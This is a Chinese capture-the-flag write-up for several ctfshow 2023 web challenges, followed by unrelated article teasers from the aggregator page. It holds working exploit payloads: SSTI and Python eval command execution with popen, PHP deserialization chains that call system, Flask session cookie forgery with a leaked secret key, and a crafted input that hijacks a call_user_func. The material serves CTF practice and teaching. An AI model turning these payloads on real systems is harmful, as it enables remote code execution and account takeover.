ctfshow 2023 愚人杯 web

easy_signin

在这里插入图片描述
在这里插入图片描述
观察url,发现base64 ,进行解码,原来可以访问文件路径,那我们访问一下index.php

?img=aW5kZXgucGhw

查看源代码发现还是base64 解码得到flag
在这里插入图片描述

被遗忘的反序列化

<?php# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");class EeE{public $text;public $eeee;public function __wakeup(){if ($this->text == "aaaa"){echo lcfirst($this->text);}}public function __get($kk){echo "$kk,eeeeeeeeeeeee";}public function __clone(){$a = new cycycycy;$a -> aaa();}}class cycycycy{public $a;private $b;public function aaa(){$get = $_GET['get'];$get = cipher($get);if($get === "p8vfuv8g8v8py"){eval($_POST["eval"]);}}public function __invoke(){$a_a = $this -> a;echo "\$a_a\$";}
}class gBoBg{public $name;public $file;public $coos;private $eeee="-_-";public function __toString(){if(isset($this->name)){$a = new $this->coos($this->file);echo $a;}else if(!isset($this -> file)){return $this->coos->name;}else{$aa = $this->coos;$bb = $this->file;return $aa();}}
}   class w_wuw_w{public $aaa;public $key;public $file;public function __wakeup(){if(!preg_match("/php|63|\*|\?/i",$this -> key)){$this->key = file_get_contents($this -> file);}else{echo "不行哦";}}public function __destruct(){echo $this->aaa;}public function __invoke(){$this -> aaa = clone new EeE;}
}$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);
dirsearch -u https://6a507383-fc70-4ba6-a66c-24b870f3dd9e.challenge.ctf.show/-w /home/kali/Desktop/dirsearch/db/dicc.txt

没扫出来

easy_ssti

在这里插入图片描述

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)@app.route('/hello/')
def hello(name=None):return render_template('hello.html',name=name)
@app.route('/hello/<name>')
def hellodear(name):if "ge" in name:return render_template_string('hello %s' % name)elif "f" not in name:return render_template_string('hello %s' % name)else:return 'Nonononon'
要ge不要f
构造payload ssti注入 
url/hello/{{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen'](request.args.get("ctfshow")).read()}}?ctfshow=cat /f*

暗网聊天室

import re
import requests
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5
from flask import Flask, request, aborturl = 'https://b52f786b-a8eb-4aee-8cde-fb7bb40393da.challenge.ctf.show/' # 题目URL,先等几秒再运行# 加密
def encrypt(plaintext, public_key):cipher = PKCS1_v1_5.new(RSA.importKey(public_key))ciphertext = ''for i in range(0, len(plaintext), 128):ciphertext += cipher.encrypt(plaintext[i:i+128].encode('utf-8')).hex()return ciphertextdef get_plaintext_half():text = requests.get(url+'/update').textreturn re.findall('[^@]*\.92', text)[0]def get_public_key(public_key):text = requests.get(url+'/shop?api=127.0.0.1:9999').textreturn re.findall('-----BEGIN PUBLIC KEY-----\n.*\n.*\n.*\n.*\n.*\n.*\n.*\n-----END PUBLIC KEY-----', text)[public_key-1]IP = '2.56.12.89'
plaintext_half = get_plaintext_half() # 获取解密后的数据# 获取公钥2、3
public_key2 = get_public_key(2).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')
public_key3 = get_public_key(3).replace('\n','').replace('-----BEGIN PUBLIC KEY-----','-----BEGIN PUBLIC KEY-----\n').replace('-----END PUBLIC KEY-----','\n-----END PUBLIC KEY-----')# 两次加密
IP_ciphertext = encrypt(IP, public_key3)
IP_ciphertext = encrypt(IP_ciphertext, public_key2)# 替换最终IP
plaintext_half_new = plaintext_half[:2048] + IP_ciphertext + plaintext_half[4096:]# 请求
requests.post(url + '/pass_message',data = {'message':plaintext_half_new})
# 接收明文
text = requests.get(url+'/update').text
flag = re.findall('ctfshow{.*}', text)[0]
print(flag)
input()

easy_class

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-27 10:30:30
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-28 09:28:35
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/
namespace ctfshow;class C{const __REF_OFFSET_1 = 0x41;const __REF_OFFSET_2 = 0x7b;const __REF_OFFSET_3 = 0x5b;const __REF_OFFSET_4 = 0x60;const __REF_OFFSET_5 = 0x30;const __REF_OFFSET_6 = 0x5f;const __REF_SIZE__= 20;const __REF_VAL_SIZE__= 50;private $cursor=0;private $cache;private $ref_table=[];function main(){$flag = md5(file_get_contents("/flag"));$this->define('ctfshow',self::__REF_VAL_SIZE__);$this->define('flag',strlen($flag));$this->neaten();$this->fill('flag',$flag);$this->fill('ctfshow',$_POST['data']);if($this->read('ctfshow')===$this->read('flag')){echo $flag;}}private function fill($ref,$val){rewind($this->cache);fseek($this->cache, $this->ref_table[$ref]+23);$arr = str_split($val);foreach ($arr as $s) {fwrite($this->cache, pack("C",ord($s)));}for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) { fwrite($this->cache, pack("C","\x00"));}$this->cursor= ftell($this->cache);}public static function clear($var){;}private function neaten(){$this->ref_table['_clear_']=$this->cursor;$arr = str_split("_clear_");foreach ($arr as $s) {$this->write(ord($s),"C");}for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C');}$arr = str_split(__NAMESPACE__."\C::clear");foreach ($arr as $s) {$this->write(ord($s),"C");}$this->write(0x36d,'Q');$this->write(0x30,'C');for ($i=1; $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C');}}private function readNeaten(){rewind($this->cache);fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__);$f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4));$t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12));$p = $this->truncation(fread($this->cache, self::__REF_SIZE__));call_user_func($f,$p);}private function define($ref,$size){$this->checkRef($ref);$r = str_split($ref);$this->ref_table[$ref]=$this->cursor;foreach ($r as $s) {$this->write(ord($s),"C");}for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C');}fwrite($this->cache,pack("v",$size));fwrite($this->cache,pack("C",0x31));$this->cursor= ftell($this->cache);for ($i=0; $i < $size; $i++) { $this->write("\x00",'a');}}private function read($ref){if(!array_key_exists($ref,$this->ref_table)){throw new \Exception("Ref not exists!", 1);}if($this->ref_table[$ref]!=0){$this->seekCursor($this->ref_table[$ref]);}else{rewind($this->cache);}$cref = fread($this->cache, 20);$csize = unpack("v", fread($this->cache, 2));$usize = fread($this->cache, 1);$val = fread($this->cache, $csize[1]);return $this->truncation($val);}private function write($val,$fmt){$this->seek();fwrite($this->cache,pack($fmt,$val));$this->cursor= ftell($this->cache);}private function seek(){rewind($this->cache);fseek($this->cache, $this->cursor);}private function truncation($data){return implode(array_filter(str_split($data),function($var){return $var!=="\x00";}));}private function seekCursor($cursor){rewind($this->cache);fseek($this->cache, $cursor);}private function checkRef($ref){$r = str_split($ref);if(sizeof($r)>self::__REF_SIZE__){throw new \Exception("Refenerce size too long!", 1);}if(is_numeric($r[0]) || $this->checkByte($r[0])){throw new \Exception("Ref invalid!", 1);}array_shift($r);foreach ($r as $s) {if($this->checkByte($s)){throw new \Exception("Ref invalid!", 1);}}}private function checkByte($check){if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){return true;}if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4 && ord($check) !== self::__REF_OFFSET_6){return true;}return false;}function __construct(){$this->cache=fopen("php://memory","wb");}public function __destruct(){$this->readNeaten();fclose($this->cache);}}
highlight_file(__FILE__);
error_reporting(0);
$c = new C;$c->main();
import requestsurl = "https://fdc9015c-3153-4262-80e3-5d1ac0131a9a.challenge.ctf.show/"data = {"data":"A"*50+"flag"+"\x00"*19+"B"*32+"\x00"*20+"system"+"\x00"*18+"cat /f1agaaa"+"\x00"*8
}response = requests.post(url=url,data=data)print(response.text)

easy_flask

随便搞个账号之后登录
eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6InVzZXIiLCJ1c2VybmFtZSI6IjEyMyJ9.ZnUxIg.5XKD3ftWty9akjveZYZVBzXg58Y
点击learn能看到部分源码
这是部分源码中有用的部分

from flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__)app.secret_key = 'S3cr3tK3y'users = {}

用flask的session伪造自己为管理员

#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise e
else:  # > 3.4class FSCM(ABC):def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)raise edef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if (secret_key == None):compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)raise eif __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif (args.subcommand == 'encode'):if (args.secret_key is not None and args.cookie_structure is not None):print(FSCM.encode(args.secret_key, args.cookie_structure))elif (args.subcommand == 'decode'):if (args.secret_key is not None and args.cookie_value is not None):print(FSCM.decode(args.cookie_value, args.secret_key))elif (args.cookie_value is not None):print(FSCM.decode(args.cookie_value))
python flask_session_cookie_manager3.py decode -s "S3cr3tK3y" -c "eyJsb2dnZWRpbiI6dHJ1ZSwicm9sZSI6ImFkbWluIiwidXNlcm5hbWUiOiJ0ZXN0dXNlciJ9.ZC0-eA.Tjc6-iJogFi49pC1I39fMy265H8"
python flask_session_cookie_manager3.py encode -s "S3cr3tK3y" -t "{'loggedin': True, 'role': 'admin', 'username': 'admin'}"
-s  是密钥  
-c 后面放的是jwt的session 
-t 是原内容加密为session_jwt

在这里插入图片描述修改session
在这里插入图片描述
在这里插入图片描述
发现可以下载文件

/download/?filename=app.py
# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Responseapp = Flask(__name__)app.secret_key = 'S3cr3tK3y'users = {'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}@app.route('/')
def index():# Check if user is loggedinif 'loggedin' in session:return redirect(url_for('profile'))return redirect(url_for('login'))@app.route('/login/', methods=['GET', 'POST'])
def login():msg = ''if request.method == 'POST' and 'username' in request.form and 'password' in request.form:username = request.form['username']password = request.form['password']if username in users and password == users[username]['password']:session['loggedin'] = Truesession['username'] = usernamesession['role'] = users[username]['role']return redirect(url_for('profile'))else:msg = 'Incorrect username/password!'return render_template('login2.html', msg=msg)@app.route('/register/', methods=['GET', 'POST'])
def register():msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form:username = request.form['username']password = request.form['password']if username in users:msg = 'Account already exists!'else:users[username] = {'password': password, 'role': 'user'}msg = 'You have successfully registered!'return render_template('register2.html', msg=msg)@app.route('/profile/')
def profile():if 'loggedin' in session:return render_template('profile2.html', username=session['username'], role=session['role'])return redirect(url_for('login'))@app.route('/show/')
def show():if 'loggedin' in session:return render_template('show2.html')@app.route('/download/')
def download():if 'loggedin' in session:filename = request.args.get('filename')if 'filename' in request.args:              return send_file(filename, as_attachment=True)return redirect(url_for('login'))@app.route('/hello/')
def hello_world():try:s = request.args.get('eval')return f"hello,{eval(s)}"           #看到eval我就像狗看到屎,很明显的ssti嘛except Exception as e:print(e)passreturn "hello"@app.route('/logout/')
def logout():session.pop('loggedin', None)session.pop('id', None)session.pop('username', None)session.pop('role', None)return redirect(url_for('login'))if __name__ == "__main__":app.run(host='0.0.0.0', port=8080)
?eval=__import__("os").popen("cat /f*").read()
我先一直在哪里打{{}}因为没看到已经加了,结果后面仔细一看,哈哈哈

easy_php

<?phperror_reporting(0);
highlight_file(__FILE__);class ctfshow{public function __wakeup(){die("not allowed!");}public function __destruct(){system($this->ctfshow);}}$data = $_GET['1+1>2'];if(!preg_match("/^[Oa]:[\d]+/i", $data)){     //不让O,a开头unserialize($data);
}?>
先跑个正则! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~ 基本没过滤了

用C代替O来打头但是我们知道这样子会使得没有属性,难以进行命令执行
但是我们有个内置类可以重新封装类进行反序列化ArrayObject就会将O变为C从而实现本题

<?phpclass ctfshow{public $ctfshow="cat /f1agaaa";
}$a = new ArrayObject;
$a->a=new ctfshow();
echo serialize($a);
?1%2b1%3e2=C:11:"ArrayObject":81:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:12:"cat /f1agaaa";}}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/356737.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

华为数通题库HCIP-821——最新最全(带答案解析)

单选11、某台路由器运行IS—IS,其输出信息如图所示&#xff0c;下列说法错误的是? A、邻居路由器的System-ID为0002.0200.2002 B、本路由器是DIS C、本路由器的区域号为49.0001 D、本路由器System-ID为0100.0000.1001 解析&#xff1a;根据输出信…

java获取指定目录,所有类及其注释名称

场景&#xff1a;获取所有类及名称 &#xff08;整理或填写表格需要&#xff09; 效果&#xff1a; 代码&#xff1a; public static void main(final String[] args) {final File currentDirectory new File("D:\\workspace\\petro-bcenter\\src\\main\\java\\com&quo…

【Android WebView】WebView基础

一、简介 WebView是一个基于webkit引擎、展现web页面的控件。Android的Webview在低版本和高版本采用了不同的webkit版本内核&#xff0c;4.4后直接使用了Chrome。 二、重要类 以WebView类为基础&#xff0c;WebSettings、WebViewClient、WebChromeClient为辅助共同完成安卓段加…

经典游戏案例:植物大战僵尸

学习目标&#xff1a;植物大战僵尸核心玩法实现 游戏画面 项目结构目录 部分核心代码 using System; using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.SceneManagement; using Random UnityEngine.Random;public enum Z…

可解释机器学习之SHAP方法

以Breast cancer wisconsin (diagnostic) dataset数据集为例。 # Built-in libraries import math import numpy as np import pandas as pd# Visualization libraries import matplotlib.pyplot as plt import seaborn as sns# Sklearn libraries # from skle…

vivado、vitis2022安装及其注意事项(省时、省空间)

1、下载 AMD官网-资源与支持-vivado ML开发者工具&#xff0c;或者vitis平台&#xff0c; 下载的时候有个官网推荐web安装&#xff0c;亲测这个耗时非常久&#xff0c;不建议使用&#xff0c;还是直接下载89G的安装包快。 注意&#xff1a;安装vitis平台会默认安装vivado&…

基于大型语言模型的全双工语音对话方案

摘要解读 我们提出了一种能够以全双工方式运行的生成性对话系统&#xff0c;实现了无缝互动。该系统基于一个精心调整的大型语言模型&#xff08;LLM&#xff09;&#xff0c;使其能够感知模块、运动功能模块以及一个具有两种状态&#xff08;称为神经有限状态机&#xff0c;n…

SpringMVC系列六: 视图和视图解析器

视图和视图解析器 &#x1f49e;基本介绍&#x1f49e; 自定义视图为什么需要自定义视图自定义试图实例-代码实现自定义视图工作流程小结Debug源码默认视图解析器执行流程多个视图解析器执行流程 &#x1f49e;目标方法直接指定转发或重定向使用实例指定请求转发流程-Debug源码…

考前刷题练手感(北航期末往年数据结构编程题)

本次因为是考前一天极速刷题&#xff0c;所以没有讲解&#xff0c;若有问题可私信。 目录 一、 查找同时空人员二、 老鼠回家-无回路三、函数调⽤关系四、东二食堂模拟五、栈帧 一、 查找同时空人员 【问题描述】 假设一共有6个手机基站&#xff0c;都具有记录手机连接基站状…

51单片机定时器中断配置

测试环境 单片机型号&#xff1a;STC8G1K08-38I-TSSOP20&#xff0c;其他型号请自行测试&#xff1b; IDE&#xff1a;Keil C51&#xff1b; 定时器配置及主要代码 以定时器T0为例&#xff0c;查看手册&#xff0c;有4种工作模式&#xff1a;模式0&#xff08;16位自动重装载…

软件测试笔记

一、介绍 软件测试是为了尽可能多地发现软件系统中的错误而不是证明软件的正确性。 1、软件缺陷是什么&#xff1f; 软件在使用过程中存在的任何问题都叫软件的缺陷&#xff0c;简称bug。 缺陷的判定标准 软件未实现需求说明书中明确要求的功能——少功能 软件出现了需求说…

Django从入门到精通:First [Django版本.Python面向对象.Web基础.创建Django项目]

文章目录 Django初学者指南1 Django简介1.1 Django的历史1.2 使用Django的知名网站1.4 Django的主要特点1.5 Django的工作原理 2 Django 版本选择2.1 Django 支持的 Python 版本2.2 Django 版本 3 Django 开发 Web 程序3.1 Python知识点3.1.1 Python 函数3.1.2 Python 面向对象…

LabVIEW电机故障监测系统

电机作为工业生产中的关键设备&#xff0c;其故障会导致生产停滞和经济损失。因此&#xff0c;开发一个能实时监控电机状态并预测潜在故障的系统具有重要意义。通过高效的数据采集和分析技术&#xff0c;提升故障诊断的准确性和及时性。 系统组成 该系统由以下部分组成&#…

java:JWT的简单例子

【pom.xml】 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><version>2.3.12.RELEASE</version> </dependency> <dependency><groupId>org.springf…

Map集合之HashMap细说

最近在看面试题&#xff0c;看到了hashmap相关的知识&#xff0c;面试中问的也挺多的&#xff0c;然后我这里记录下来&#xff0c;供大家学习。 Hashmap为什么线程不安全 jdk 1.7中&#xff0c;在扩容的时候因为使用头插法导致链表需要倒转&#xff0c;从而可能出现循环链表问…

JAVA大型医院绩效考核系统源码:​医院绩效考核实施的难点痛点

JAVA大型医院绩效考核系统源码&#xff1a;​医院绩效考核实施的难点痛点 绩效考核数字化综合管理系统是一个基于数字化技术的管理平台&#xff0c;用于帮助企业、机构等组织进行绩效考评的各个环节的管理和处理。它将绩效考评的各个环节集成到一个系统中&#xff0c;包括目标…

常见的宽基指数基金

指数基金投资指南 ❝ 这篇博客里面的内容主要来自于银行螺丝钉的《定投十年&#xff0c;财务自由》和《指数基金投资指南》这两本书中章“常见的宽基指数”&#xff0c;最近第三次读这本书&#xff0c;打算做一点笔记加深自己的印象。 博客中很多内容是从书中摘抄的&#xff0c…

【数据结构】顺序表实操——通讯录项目

Hi~&#xff01;这里是奋斗的小羊&#xff0c;很荣幸您能阅读我的文章&#xff0c;诚请评论指点&#xff0c;欢迎欢迎 ~~ &#x1f4a5;&#x1f4a5;个人主页&#xff1a;奋斗的小羊 &#x1f4a5;&#x1f4a5;所属专栏&#xff1a;C语言 &#x1f680;本系列文章为个人学习…

深入了解 AndroidX ConstraintLayout 中的 Barrier

androidx.constraintlayout.widget.Barrier&#xff08;简称Barrier&#xff09;是 ConstraintLayout 2.0 中引入的一个新特性&#xff0c;它可以极大地简化复杂布局的实现。本文将详细介绍Barrier 的概念、使用方法以及在实际开发中的应用场景。 什么是 Barrier&#xff1f; …

Hallo技术:革新电影、游戏与虚拟现实中的动态肖像动画

在数字娱乐的浪潮中&#xff0c;逼真的动态肖像动画成为了电影制作、游戏开发和虚拟现实等领域不可或缺的一部分。复旦大学研发的Hallo技术&#xff0c;以其独特的扩散模型和分层音频驱动视觉合成模块&#xff0c;为这一领域带来了革命性的突破。 技术概览 Hallo技术是一种基…